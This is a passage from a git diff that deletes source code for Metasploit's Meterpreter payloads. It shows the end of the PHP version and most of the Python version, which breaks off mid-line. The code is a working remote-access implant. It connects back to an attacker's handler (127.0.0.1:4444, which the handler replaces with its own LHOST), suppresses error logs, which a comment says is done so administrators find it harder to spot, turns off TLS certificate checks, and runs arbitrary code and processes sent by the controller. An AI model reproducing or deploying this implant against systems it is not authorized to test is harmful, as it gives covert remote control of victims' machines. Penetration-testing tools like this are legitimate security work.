strlen($buff))); - break; - default: - # then this is possibly a closed channel resource, see if we have any - # data from previous reads - $cid = get_channel_id_from_resource($resource); - $c = get_channel_by_id($cid); - if ($c and $c['data']) { - $buff = substr($c['data'], 0, $len); - $c['data'] = substr($c['data'], $len); - my_print("Aha! got some leftovers"); - } else { - my_print("Wtf don't know how to read from resource $resource, c: $c"); - if (is_array($c)) { - dump_array($c); - } - break; - } - } - my_print(sprintf("Read %d bytes", strlen($buff))); - return $buff; -} - -function write($resource, $buff, $len=0) { - global $udp_host_map; - if ($len == 0) { $len = strlen($buff); } - #my_print(sprintf("Writing $len bytes to $resource which is a %s", get_rtype($resource))); - $count = false; - switch (get_rtype($resource)) { - case 'socket': - if (array_key_exists((int)$resource, $udp_host_map)) { - my_print("Writing UDP socket"); - list($host,$port) = $udp_host_map[(int)$resource]; - $count = socket_sendto($resource, $buff, $len, $host, $port); - } else { - $count = socket_write($resource, $buff, $len); - } - break; - case 'stream': - $count = fwrite($resource, $buff, $len); - fflush($resource); - break; - default: my_print("Wtf don't know how to write to resource $resource"); break; - } - return $count; -} - -function get_rtype($resource) { - global $resource_type_map; - if (array_key_exists((int)$resource, $resource_type_map)) { - return $resource_type_map[(int)$resource]; - } - return false; -} - -function select(&$r, &$w, &$e, $tv_sec=0, $tv_usec=0) { - $streams_r = array(); - $streams_w = array(); - $streams_e = array(); - - $sockets_r = array(); - $sockets_w = array(); - $sockets_e = array(); - - if ($r) { - foreach ($r as $resource) { - switch (get_rtype($resource)) { - case 'socket': $sockets_r[] = $resource; break; - case 'stream': $streams_r[] = $resource; break; - default: my_print("Unknown resource type"); break; - } - } - } - if ($w) { - foreach ($w as $resource) { - switch (get_rtype($resource)) { - case 'socket': $sockets_w[] = $resource; break; - case 'stream': $streams_w[] = $resource; break; - default: my_print("Unknown resource type"); break; - } - } - } - if ($e) { - foreach ($e as $resource) { - switch (get_rtype($resource)) { - case 'socket': $sockets_e[] = $resource; break; - case 'stream': $streams_e[] = $resource; break; - default: my_print("Unknown resource type"); break; - } - } - } - - $n_sockets = count($sockets_r) + count($sockets_w) + count($sockets_e); - $n_streams = count($streams_r) + count($streams_w) + count($streams_e); - #my_print("Selecting $n_sockets sockets and $n_streams streams with timeout $tv_sec.$tv_usec"); - $r = array(); - $w = array(); - $e = array(); - - # Workaround for some versions of PHP that throw an error and bail out if - # select is given an empty array - if (count($sockets_r)==0) { $sockets_r = null; } - if (count($sockets_w)==0) { $sockets_w = null; } - if (count($sockets_e)==0) { $sockets_e = null; } - if (count($streams_r)==0) { $streams_r = null; } - if (count($streams_w)==0) { $streams_w = null; } - if (count($streams_e)==0) { $streams_e = null; } - - $count = 0; - if ($n_sockets > 0) { - $res = socket_select($sockets_r, $sockets_w, $sockets_e, $tv_sec, $tv_usec); - if (false === $res) { return false; } - if (is_array($r) && is_array($sockets_r)) { $r = array_merge($r, $sockets_r); } - if (is_array($w) && is_array($sockets_w)) { $w = array_merge($w, $sockets_w); } - if (is_array($e) && is_array($sockets_e)) { $e = array_merge($e, $sockets_e); } - $count += $res; - } - if ($n_streams > 0) { - $res = stream_select($streams_r, $streams_w, $streams_e, $tv_sec, $tv_usec); - if (false === $res) { return false; } - if (is_array($r) && is_array($streams_r)) { $r = array_merge($r, $streams_r); } - if (is_array($w) && is_array($streams_w)) { $w = array_merge($w, $streams_w); } - if (is_array($e) && is_array($streams_e)) { $e = array_merge($e, $streams_e); } - $count += $res; - } - #my_print(sprintf("total: $count, Modified counts: r=%s w=%s e=%s", count($r), count($w), count($e))); - return $count; -} - -function add_reader($resource) { - global $readers; - if (is_resource($resource) && !in_array($resource, $readers)) { - $readers[] = $resource; - } -} - -function remove_reader($resource) { - global $readers; - #my_print("Removing reader: $resource"); - #dump_readers(); - if (in_array($resource, $readers)) { - foreach ($readers as $key => $r) { - if ($r == $resource) { - unset($readers[$key]); - } - } - } -} - - -## -# Main stuff -## - -ob_implicit_flush(); - -# For debugging -#error_reporting(E_ALL); -# Turn off error reporting so we don't leave any ugly logs. Why make an -# administrator's job easier if we don't have to? =) -error_reporting(0); - -@ignore_user_abort(true); -# Has no effect in safe mode, but try anyway -@set_time_limit(0); -@ignore_user_abort(1); -@ini_set('max_execution_time',0); - - -# If we don't have a socket we're standalone, setup the connection here. -# Otherwise, this is a staged payload, don't bother connecting -if (!isset($GLOBALS['msgsock'])) { - # The payload handler overwrites this with the correct LHOST before sending - # it to the victim. - $ipaddr = '127.0.0.1'; - $port = 4444; - my_print("Don't have a msgsock, trying to connect($ipaddr, $port)"); - $msgsock = connect($ipaddr, $port); - if (!$msgsock) { die(); } -} else { - # The ABI for PHP stagers is a socket in $msgsock and it's type (socket or - # stream) in $msgsock_type - $msgsock = $GLOBALS['msgsock']; - $msgsock_type = $GLOBALS['msgsock_type']; - switch ($msgsock_type) { - case 'socket': - register_socket($msgsock); - break; - case 'stream': - # fall through - default: - register_stream($msgsock); - } -} -add_reader($msgsock); - -# -# Main dispatch loop -# -$r=$GLOBALS['readers']; -$w=NULL;$e=NULL;$t=1; -while (false !== ($cnt = select($r, $w, $e, $t))) { - #my_print(sprintf("Returned from select with %s readers", count($r))); - $read_failed = false; - for ($i = 0; $i < $cnt; $i++) { - $ready = $r[$i]; - if ($ready == $msgsock) { - $request = read($msgsock, 8); - #my_print(sprintf("Read returned %s bytes", strlen($request))); - if (false==$request) { - #my_print("Read failed on main socket, bailing"); - # We failed on the main socket. There's no way to continue, so - # break all the way out. - break 2; - } - $a = unpack("Nlen/Ntype", $request); - # length of the whole packet, including header - $len = $a['len']; - # packet type should always be 0, i.e. PACKET_TYPE_REQUEST - $ptype = $a['type']; - while (strlen($request) < $a['len']) { - $request .= read($msgsock, $len-strlen($request)); - } - #my_print("creating response"); - $response = create_response($request); - - write($msgsock, $response); - } else { - #my_print("not Msgsock: $ready"); - $data = read($ready); - if (false === $data) { - handle_dead_resource_channel($ready); - } elseif (strlen($data) > 0){ - my_print(sprintf("Read returned %s bytes", strlen($data))); - $request = handle_resource_read_channel($ready, $data); - if ($request) { - write($msgsock, $request); - } - } - } - } - # $r is modified by select, so reset it - $r = $GLOBALS['readers']; -} # end main loop -my_print("Finished"); -my_print("--------------------"); -close($msgsock); diff --git a/data/meterpreter/meterpreter.py b/data/meterpreter/meterpreter.py deleted file mode 100644 index 98221836cc..0000000000 --- a/data/meterpreter/meterpreter.py +++ /dev/null @@ -1,763 +0,0 @@ -#!/usr/bin/python -import code -import os -import platform -import random -import select -import socket -import struct -import subprocess -import sys -import threading -import time -import traceback - -try: - import ctypes -except ImportError: - has_windll = False -else: - has_windll = hasattr(ctypes, 'windll') - -# this MUST be imported for urllib to work on OSX -try: - import SystemConfiguration as osxsc - osxsc.SCNetworkInterfaceCopyAll() - has_osxsc = True -except ImportError: - has_osxsc = False - -try: - urllib_imports = ['ProxyHandler', 'Request', 'build_opener', 'install_opener', 'urlopen'] - if sys.version_info[0] < 3: - urllib = __import__('urllib2', fromlist=urllib_imports) - else: - urllib = __import__('urllib.request', fromlist=urllib_imports) -except ImportError: - has_urllib = False -else: - has_urllib = True - -if sys.version_info[0] < 3: - is_str = lambda obj: issubclass(obj.__class__, str) - is_bytes = lambda obj: issubclass(obj.__class__, str) - bytes = lambda *args: str(*args[:1]) - NULL_BYTE = '\x00' - unicode = lambda x: (x.decode('UTF-8') if isinstance(x, str) else x) -else: - if isinstance(__builtins__, dict): - is_str = lambda obj: issubclass(obj.__class__, __builtins__['str']) - str = lambda x: __builtins__['str'](x, 'UTF-8') - else: - is_str = lambda obj: issubclass(obj.__class__, __builtins__.str) - str = lambda x: __builtins__.str(x, 'UTF-8') - is_bytes = lambda obj: issubclass(obj.__class__, bytes) - NULL_BYTE = bytes('\x00', 'UTF-8') - long = int - unicode = lambda x: (x.decode('UTF-8') if isinstance(x, bytes) else x) - -# -# Constants -# - -# these values may be patched, DO NOT CHANGE THEM -DEBUGGING = False -HTTP_COMMUNICATION_TIMEOUT = 300 -HTTP_CONNECTION_URL = None -HTTP_EXPIRATION_TIMEOUT = 604800 -HTTP_PROXY = None -HTTP_USER_AGENT = None - -PACKET_TYPE_REQUEST = 0 -PACKET_TYPE_RESPONSE = 1 -PACKET_TYPE_PLAIN_REQUEST = 10 -PACKET_TYPE_PLAIN_RESPONSE = 11 - -ERROR_SUCCESS = 0 -# not defined in original C implementation -ERROR_FAILURE = 1 -ERROR_FAILURE_PYTHON = 2 -ERROR_FAILURE_WINDOWS = 3 - -CHANNEL_CLASS_BUFFERED = 0 -CHANNEL_CLASS_STREAM = 1 -CHANNEL_CLASS_DATAGRAM = 2 -CHANNEL_CLASS_POOL = 3 - -# -# TLV Meta Types -# -TLV_META_TYPE_NONE = ( 0 ) -TLV_META_TYPE_STRING = (1 << 16) -TLV_META_TYPE_UINT = (1 << 17) -TLV_META_TYPE_RAW = (1 << 18) -TLV_META_TYPE_BOOL = (1 << 19) -TLV_META_TYPE_QWORD = (1 << 20) -TLV_META_TYPE_COMPRESSED = (1 << 29) -TLV_META_TYPE_GROUP = (1 << 30) -TLV_META_TYPE_COMPLEX = (1 << 31) -# not defined in original -TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16) - -# -# TLV base starting points -# -TLV_RESERVED = 0 -TLV_EXTENSIONS = 20000 -TLV_USER = 40000 -TLV_TEMP = 60000 - -# -# TLV Specific Types -# -TLV_TYPE_ANY = TLV_META_TYPE_NONE | 0 -TLV_TYPE_METHOD = TLV_META_TYPE_STRING | 1 -TLV_TYPE_REQUEST_ID = TLV_META_TYPE_STRING | 2 -TLV_TYPE_EXCEPTION = TLV_META_TYPE_GROUP | 3 -TLV_TYPE_RESULT = TLV_META_TYPE_UINT | 4 - -TLV_TYPE_STRING = TLV_META_TYPE_STRING | 10 -TLV_TYPE_UINT = TLV_META_TYPE_UINT | 11 -TLV_TYPE_BOOL = TLV_META_TYPE_BOOL | 12 - -TLV_TYPE_LENGTH = TLV_META_TYPE_UINT | 25 -TLV_TYPE_DATA = TLV_META_TYPE_RAW | 26 -TLV_TYPE_FLAGS = TLV_META_TYPE_UINT | 27 - -TLV_TYPE_CHANNEL_ID = TLV_META_TYPE_UINT | 50 -TLV_TYPE_CHANNEL_TYPE = TLV_META_TYPE_STRING | 51 -TLV_TYPE_CHANNEL_DATA = TLV_META_TYPE_RAW | 52 -TLV_TYPE_CHANNEL_DATA_GROUP = TLV_META_TYPE_GROUP | 53 -TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54 -TLV_TYPE_CHANNEL_PARENTID = TLV_META_TYPE_UINT | 55 - -TLV_TYPE_SEEK_WHENCE = TLV_META_TYPE_UINT | 70 -TLV_TYPE_SEEK_OFFSET = TLV_META_TYPE_UINT | 71 -TLV_TYPE_SEEK_POS = TLV_META_TYPE_UINT | 72 - -TLV_TYPE_EXCEPTION_CODE = TLV_META_TYPE_UINT | 300 -TLV_TYPE_EXCEPTION_STRING = TLV_META_TYPE_STRING | 301 - -TLV_TYPE_LIBRARY_PATH = TLV_META_TYPE_STRING | 400 -TLV_TYPE_TARGET_PATH = TLV_META_TYPE_STRING | 401 -TLV_TYPE_MIGRATE_PID = TLV_META_TYPE_UINT | 402 -TLV_TYPE_MIGRATE_LEN = TLV_META_TYPE_UINT | 403 - -TLV_TYPE_MACHINE_ID = TLV_META_TYPE_STRING | 460 - -TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500 -TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501 - -TLV_TYPE_PEER_HOST = TLV_META_TYPE_STRING | 1500 -TLV_TYPE_PEER_PORT = TLV_META_TYPE_UINT | 1501 -TLV_TYPE_LOCAL_HOST = TLV_META_TYPE_STRING | 1502 -TLV_TYPE_LOCAL_PORT = TLV_META_TYPE_UINT | 1503 - -EXPORTED_SYMBOLS = {} -EXPORTED_SYMBOLS['DEBUGGING'] = DEBUGGING - -def export(symbol): - EXPORTED_SYMBOLS[symbol.__name__] = symbol - return symbol - -def generate_request_id(): - chars = 'abcdefghijklmnopqrstuvwxyz' - return ''.join(random.choice(chars) for x in range(32)) - -@export -def crc16(data): - poly = 0x1021 - reg = 0x0000 - if is_str(data): - data = list(map(ord, data)) - elif is_bytes(data): - data = list(data) - data.append(0) - data.append(0) - for byte in data: - mask = 0x80 - while mask > 0: - reg <<= 1 - if byte & mask: - reg += 1 - mask >>= 1 - if reg > 0xffff: - reg &= 0xffff - reg ^= poly - return reg - -@export -def error_result(exception=None): - if not exception: - _, exception, _ = sys.exc_info() - exception_crc = crc16(exception.__class__.__name__) - if exception_crc == 0x4cb2: # WindowsError - return error_result_windows(exception.errno) - else: - result = ((exception_crc << 16) | ERROR_FAILURE_PYTHON) - return result - -@export -def error_result_windows(error_number=None): - if not has_windll: - return ERROR_FAILURE - if error_number == None: - error_number = ctypes.windll.kernel32.GetLastError() - if error_number > 0xffff: - return ERROR_FAILURE - result = ((error_number << 16) | ERROR_FAILURE_WINDOWS) - return result - -@export -def inet_pton(family, address): - if hasattr(socket, 'inet_pton'): - return socket.inet_pton(family, address) - elif has_windll: - WSAStringToAddress = ctypes.windll.ws2_32.WSAStringToAddressA - lpAddress = (ctypes.c_ubyte * 28)() - lpAddressLength = ctypes.c_int(ctypes.sizeof(lpAddress)) - if WSAStringToAddress(address, family, None, ctypes.byref(lpAddress), ctypes.byref(lpAddressLength)) != 0: - raise Exception('WSAStringToAddress failed') - if family == socket.AF_INET: - return ''.join(map(chr, lpAddress[4:8])) - elif family == socket.AF_INET6: - return ''.join(map(chr, lpAddress[8:24])) - raise Exception('no suitable inet_pton functionality is available') - -@export -def packet_enum_tlvs(pkt, tlv_type = None): - offset = 0 - while (offset < len(pkt)): - tlv = struct.unpack('>II', pkt[offset:offset+8]) - if (tlv_type == None) or ((tlv[1] & ~TLV_META_TYPE_COMPRESSED) == tlv_type): - val = pkt[offset+8:(offset+8+(tlv[0] - 8))] - if (tlv[1] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING: - val = str(val.split(NULL_BYTE, 1)[0]) - elif (tlv[1] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT: - val = struct.unpack('>I', val)[0] - elif (tlv[1] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD: - val = struct.unpack('>Q', val)[0] - elif (tlv[1] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL: - val = bool(struct.unpack('b', val)[0]) - elif (tlv[1] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW: - pass - yield {'type':tlv[1], 'length':tlv[0], 'value':val} - offset += tlv[0] - raise StopIteration() - -@export -def packet_get_tlv(pkt, tlv_type): - try: - tlv = list(packet_enum_tlvs(pkt, tlv_type))[0] - except IndexError: - return {} - return tlv - -@export -def tlv_pack(*args): - if len(args) == 2: - tlv = {'type':args[0], 'value':args[1]} - else: - tlv = args[0] - data = "" - if (tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT: - data = struct.pack('>III', 12, tlv['type'], tlv['value']) - elif (tlv['type'] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD: - data = struct.pack('>IIQ', 16, tlv['type'], tlv['value']) - elif (tlv['type'] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL: - data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(tlv['value']))), 'UTF-8') - else: - value = tlv['value'] - if sys.version_info[0] < 3 and value.__class__.__name__ == 'unicode': - value = value.encode('UTF-8') - elif not is_bytes(value): - value = bytes(value, 'UTF-8') - if (tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING: - data = struct.pack('>II', 8 + len(value) + 1, tlv['type']) + value + NULL_BYTE - elif (tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW: - data = struct.pack('>II', 8 + len(value), tlv['type']) + value - elif (tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP: - data = struct.pack('>II', 8 + len(value), tlv['type']) + value - elif (tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX: - data = struct.pack('>II', 8 + len(value), tlv['type']) + value - return data - -#@export -class MeterpreterFile(object): - def __init__(self, file_obj): - self.file_obj = file_obj - - def __getattr__(self, name): - return getattr(self.file_obj, name) -export(MeterpreterFile) - -#@export -class MeterpreterSocket(object): - def __init__(self, sock): - self.sock = sock - - def __getattr__(self, name): - return getattr(self.sock, name) -export(MeterpreterSocket) - -#@export -class MeterpreterSocketClient(MeterpreterSocket): - pass -export(MeterpreterSocketClient) - -#@export -class MeterpreterSocketServer(MeterpreterSocket): - pass -export(MeterpreterSocketServer) - -class STDProcessBuffer(threading.Thread): - def __init__(self, std, is_alive): - threading.Thread.__init__(self) - self.std = std - self.is_alive = is_alive - self.data = bytes() - self.data_lock = threading.RLock() - - def run(self): - for byte in iter(lambda: self.std.read(1), bytes()): - self.data_lock.acquire() - self.data += byte - self.data_lock.release() - - def is_read_ready(self): - return len(self.data) != 0 - - def peek(self, l = None): - data = bytes() - self.data_lock.acquire() - if l == None: - data = self.data - else: - data = self.data[0:l] - self.data_lock.release() - return data - - def read(self, l = None): - self.data_lock.acquire() - data = self.peek(l) - self.data = self.data[len(data):] - self.data_lock.release() - return data - -#@export -class STDProcess(subprocess.Popen): - def __init__(self, *args, **kwargs): - subprocess.Popen.__init__(self, *args, **kwargs) - self.echo_protection = False - - def start(self): - self.stdout_reader = STDProcessBuffer(self.stdout, lambda: self.poll() == None) - self.stdout_reader.start() - self.stderr_reader = STDProcessBuffer(self.stderr, lambda: self.poll() == None) - self.stderr_reader.start() - - def write(self, channel_data): - self.stdin.write(channel_data) - self.stdin.flush() - if self.echo_protection: - end_time = time.time() + 0.5 - out_data = bytes() - while (time.time() < end_time) and (out_data != channel_data): - if self.stdout_reader.is_read_ready(): - out_data = self.stdout_reader.peek(len(channel_data)) - if out_data == channel_data: - self.stdout_reader.read(len(channel_data)) -export(STDProcess) - -class PythonMeterpreter(object): - def __init__(self, socket=None): - self.socket = socket - self.driver = None - self.running = False - self.communications_active = True - self.communications_last = 0 - if self.socket: - self.driver = 'tcp' - elif HTTP_CONNECTION_URL: - self.driver = 'http' - self.last_registered_extension = None - self.extension_functions = {} - self.channels = {} - self.interact_channels = [] - self.processes = {} - for func in list(filter(lambda x: x.startswith('_core'), dir(self))): - self.extension_functions[func[1:]] = getattr(self, func) - if self.driver: - if hasattr(self, 'driver_init_' + self.driver): - getattr(self, 'driver_init_' + self.driver)() - self.running = True - - def debug_print(self, msg): - if DEBUGGING: - print(msg) - - def driver_init_http(self): - opener_args = [] - scheme = HTTP_CONNECTION_URL.split(':', 1)[0] - if scheme == 'https' and ((sys.version_info[0] == 2 and sys.version_info >= (2,7,9)) or sys.version_info >= (3,4,3)): - import ssl - ssl_ctx = ssl.SSLContext(ssl.PROTOCOL_SSLv23) - ssl_ctx.check_hostname=False - ssl_ctx.verify_mode=ssl.CERT_NONE - opener_args.append(urllib.HTTPSHandler(0, ssl_ctx)) - if HTTP_PROXY: - opener_args.append(urllib.ProxyHandler({scheme: HTTP_PROXY})) - opener = urllib.build_opener(*opener_args) - if HTTP_USER_AGENT: - opener.addheaders = [('User-Agent', HTTP_USER_AGENT)] - urllib.install_opener(opener) - self._http_last_seen = time.time() - self._http_request_headers = {'Content-Type': 'application/octet-stream'} - - def register_extension(self, extension_name): - self.last_registered_extension = extension_name - return self.last_registered_extension - - def register_function(self, func): - self.extension_functions[func.__name__] = func - return func - - def register_function_windll(self, func): - if has_windll: - self.register_function(func) - return func - - def add_channel(self, channel): - assert(isinstance(channel, (subprocess.Popen, MeterpreterFile, MeterpreterSocket))) - idx = 0 - while idx in self.channels: - idx += 1 - self.channels[idx] = channel - return idx - - def add_process(self, process): - idx = 0 - while idx in self.processes: - idx += 1 - self.processes[idx] = process - return idx - - def get_packet(self): - packet = getattr(self, 'get_packet_' + self.driver)() - self.communications_last = time.time() - if packet: - self.communications_active = True - return packet - - def send_packet(self, packet): - getattr(self, 'send_packet_' + self.driver)(packet) - self.communications_last = time.time() - self.communications_active = True - - def get_packet_http(self): - packet = None - request = urllib.Request(HTTP_CONNECTION_URL, bytes('RECV', 'UTF-8'), self._http_request_headers) - try: - url_h = urllib.urlopen(request) - packet = url_h.read() - except: - if (time.time() - self._http_last_seen) > HTTP_COMMUNICATION_TIMEOUT: - self.running = False - else: - self._http_last_seen = time.time() - if packet: - packet = packet[8:] - else: - packet = None - return packet - - def send_packet_http(self, packet): - request = urllib.Request(HTTP_CONNECTION_URL, packet, self._http_request_headers) - try: - url_h = urllib.urlopen(request) - response = url_h.read() - except: - if (time.time() - self._http_last_seen) > HTTP_COMMUNICATION_TIMEOUT: - self.running = False - else: - self._http_last_seen = time.time() - - def get_packet_tcp(self): - packet = None - if len(select.select([self.socket], [], [], 0.5)[0]): - packet = self.socket.recv(8) - if len(packet) != 8: - self.running = False - return None - pkt_length, pkt_type = struct.unpack('>II', packet) - pkt_length -= 8 - packet = bytes() - while len(packet) < pkt_length: - packet += self.socket.recv(pkt_length - len(packet)) - return packet - - def send_packet_tcp(self, packet): - self.socket.send(packet) - - def run(self): - while self.running: - request = None - should_get_packet = self.communications_active or ((time.time() - self.communications_last) > 0.5) - self.communications_active = False - if should_get_packet: - request = self.get_packet() - if request: - response = self.create_response(request) - self.send_packet(response) - else: - # iterate over the keys because self.channels could be modified if one is closed - channel_ids = list(self.channels.keys()) - for channel_id in channel_ids: - channel = self.channels[channel_id] - data = bytes() - if isinstance(channel, STDProcess): - if not channel_id in self.interact_channels: - continue - if channel.stderr_reader.is_read_ready(): - data = channel.stderr_reader.read() - elif channel.stdout_reader.is_read_ready(): - data = channel.stdout_reader.read() - elif channel.poll() != None: - self.handle_dead_resource_channel(channel_id) - elif isinstance(channel, MeterpreterSocketClient): - while len(select.select([channel.fileno()], [], [], 0)[0]): - try: - d = channel.recv(1) - except socket.error: - d = bytes() - if len(d) == 0: - self.handle_dead_resource_channel(channel_id) - break - data += d - elif isinstance(channel, MeterpreterSocketServer): - if len(select.select([channel.fileno()], [], [], 0)[0]): - (client_sock, client_addr) = channel.accept() - server_addr = channel.getsockname() - client_channel_id = self.add_channel(MeterpreterSocketClient(client_sock)) - pkt = struct.pack('>I', PACKET_TYPE_REQUEST) - pkt += tlv_pack(TLV_TYPE_METHOD, 'tcp_channel_open') - pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, client_channel_id) - pkt += tlv_pack(TLV_TYPE_CHANNEL_PARENTID, channel_id) - pkt += tlv_pack(TLV_TYPE_LOCAL_HOST, inet_pton(channel.family, server_addr[0])) - pkt += tlv_pack(TLV_TYPE_LOCAL_PORT, server_addr[1]) - pkt += tlv_pack(TLV_TYPE_PEER_HOST, inet_pton(client_sock.family, client_addr[0])) - pkt += tlv_pack(TLV_TYPE_PEER_PORT, client_addr[1]) - pkt = struct.pack('>I', len(pkt) + 4) + pkt - self.send_packet(pkt) - if data: - pkt = struct.pack('>I', PACKET_TYPE_REQUEST) - pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_write') - pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id) - pkt += tlv_pack(TLV_TYPE_CHANNEL_DATA, data) - pkt += tlv_pack(TLV_TYPE_LENGTH, len(data)) - pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id()) - pkt = struct.pack('>I', len(pkt) + 4) + pkt - self.send_packet(pkt) - - def handle_dead_resource_channel(self, channel_id): - del self.channels[channel_id] - if channel_id in self.interact_channels: - self.interact_channels.remove(channel_id) - pkt = struct.pack('>I', PACKET_TYPE_REQUEST) - pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_close') - pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id()) - pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id) - pkt = struct.pack('>I', len(pkt) + 4) + pkt - self.send_packet(pkt) - - def _core_machine_id(self, request, response): - serial = '' - machine_name = platform.uname()[1] - if has_windll: - from ctypes import wintypes - - k32 = ctypes.windll.kernel32 - sys_dir = ctypes.create_unicode_buffer(260) - if not k32.GetSystemDirectoryW(ctypes.byref(sys_dir), 260): - return ERROR_FAILURE_WINDOWS - - vol_buf = ctypes.create_unicode_buffer(260) - fs_buf = ctypes.create_unicode_buffer(260) - serial_num = wintypes.DWORD(0) - - if not k32.GetVolumeInformationW(ctypes.c_wchar_p(sys_dir.value[:3]), - vol_buf, ctypes.sizeof(vol_buf), ctypes.byref(serial_num), None, - None, fs_buf, ctypes.sizeof(fs_buf)): - return ERROR_FAILURE_WINDOWS - serial_num = serial_num.value - serial = "{0:04x}-{1:04x}".format((serial_num >> 16) & 0xFFFF, serial_num & 0xFFFF) - else: - for _, _, files in os.walk('/dev/disk/by-id/'): - for f in files: - if f[:4] == 'ata-': - serial = f[4:] - break - response += tlv_pack(TLV_TYPE_MACHINE_ID, "%s:%s" % (serial, machine_name)) - return ERROR_SUCCESS, response - - def _core_loadlib(self, request, response): - data_tlv = packet_get_tlv(request, TLV_TYPE_DATA) - if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED: - return ERROR_FAILURE - - self.last_registered_extension = None - symbols_for_extensions = {'meterpreter':self} - symbols_for_extensions.update(EXPORTED_SYMBOLS) - i = code.InteractiveInterpreter(symbols_for_extensions) - i.runcode(compile(data_tlv['value'], '', 'exec')) - extension_name = self.last_registered_extension - - if extension_name: - check_extension = lambda x: x.startswith(extension_name) - lib_methods = list(filter(check_extension, list(self.extension_functions.keys()))) - for method in lib_methods: - response += tlv_pack(TLV_TYPE_METHOD, method) - return ERROR_SUCCESS, response - - def _core_shutdown(self, request, response): - response += tlv_pack(TLV_TYPE_BOOL, True) - self.running = False - return ERROR_SUCCESS, response - - def _core_channel_open(self, request, response): - channel_type = packet_get_tlv(request, TLV_TYPE_CHANNEL_TYPE) - handler = 'channel_open_' + channel_type['value'] - if handler not in self.extension_functions: - return error_result(NotImplementedError), response - handler = self.extension_functions[handler] - return handler(request, response) - - def _core_channel_close(self, request, response): - channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value'] - if channel_id not in self.channels: - return ERROR_FAILURE, response - channel = self.channels[channel_id] - if isinstance(channel, subprocess.Popen): - channel.kill() - elif isinstance(channel, MeterpreterFile): - channel.close() - elif isinstance(channel, MeterpreterSocket): - channel.close() - else: - return ERROR_FAILURE, response - del self.channels[channel_id] - if channel_id in self.interact_channels: - self.interact_channels.remove(channel_id) - return ERROR_SUCCESS, response - - def _core_channel_eof(self, request, response): - channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value'] - if channel_id not in self.channels: - return ERROR_FAILURE, response - channel = self.channels[channel_id] - result = False - if isinstance(channel, MeterpreterFile): - result = channel.tell() >= os.fstat(channel.fileno()).st_size - response += tlv_pack(TLV_TYPE_BOOL, result) - return ERROR_SUCCESS, response - - def _core_channel_interact(self, request, response): - channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value'] - if channel_id not in self.channels: - return ERROR_FAILURE, response - channel = self.channels[channel_id] - toggle = packet_get_tlv(request, TLV_TYPE_BOOL)['value'] - if toggle: - if channel_id in self.interact_channels: - self.interact_channels.remove(channel_id) - else: - self.interact_channels.append(channel_id) - elif channel_id in self.interact_channels: - self.interact_channels.remove(channel_id) - return ERROR_SUCCESS, response - - def _core_channel_read(self, request, response): - channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value'] - length = packet_get_tlv(request, TLV_TYPE_LENGTH)['value'] - if channel_id not in self.channels: - return ERROR_FAILURE, response - channel = self.channels[channel_id] - data = '' - if isinstance(channel, STDProcess): - if channel.poll() != None: - self.handle_dead_resource_channel(channel_id) - if channel.stdout_reader.is_read_ready(): - data = channel.stdout_reader.read(length) - elif isinstance(channel, MeterpreterFile): - data = channel.read(length) - elif isinstance(channel, MeterpreterSocket): - data = channel.recv(length) - else: - return ERROR_FAILURE, response - response += tlv_pack(TLV_TYPE_CHANNEL_DATA, data) - return ERROR_SUCCESS, response - - def _core_channel_write(self, request, response): - channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value'] - channel_data = packet_get_tlv(request, TLV_TYPE_CHANNEL_DATA)['value'] - length = packet_get_tlv(request, TLV_TYPE_LENGTH)['value'] - if channel_id not in self.channels: - return ERROR_FAILURE, response - channel = self.channels[channel_id] - l = len(channel_data) - if isinstance(channel, subprocess.Popen): - if channel.poll() != None: - self.handle_dead_resource_channel(channel_id) - return ERROR_FAILURE, response - channel.write(channel_data) - elif isinstance(channel, MeterpreterFile): - channel.write(channel_data) - elif isinstance(channel, MeterpreterSocket): - try: - l = channel.send(channel_data) - except socket.error: - channel.close() - self.handle_dead_resource_channel(channel_id) - return ERROR_FAILURE, response - else: - return ERROR_FAILURE, response - response += tlv_pack(TLV_TYPE_LENGTH, l) - return ERROR_SUCCESS, response - - def create_response(self, request): - resp = struct.pack('>I', PACKET_TYPE_RESPONSE) - method_tlv = packet_get_tlv(request, TLV_TYPE_METHOD) - resp += tlv_pack(method_tlv) - - reqid_tlv = packet_get_tlv(request, TLV_TYPE_REQUEST_ID) - resp += tlv_pack(reqid_tlv) - - handler_name = method_tlv['value'] - if handler_name in self.extension_functions: - handler = self.extension_functions[handler_name] - try: - self.debug_print('[*] running method ' + handler_name) - result, resp = handler(request, resp) - except Exception: - self.debug_print('[-] method ' + handler_name + ' resulted in an error') - if DEBUGGING: - traceback.print_exc(file=sys.stderr) - result = error_result() - else: - self.debug_print('[-] method ' + handler_name + ' was requested but does not exist') - result = 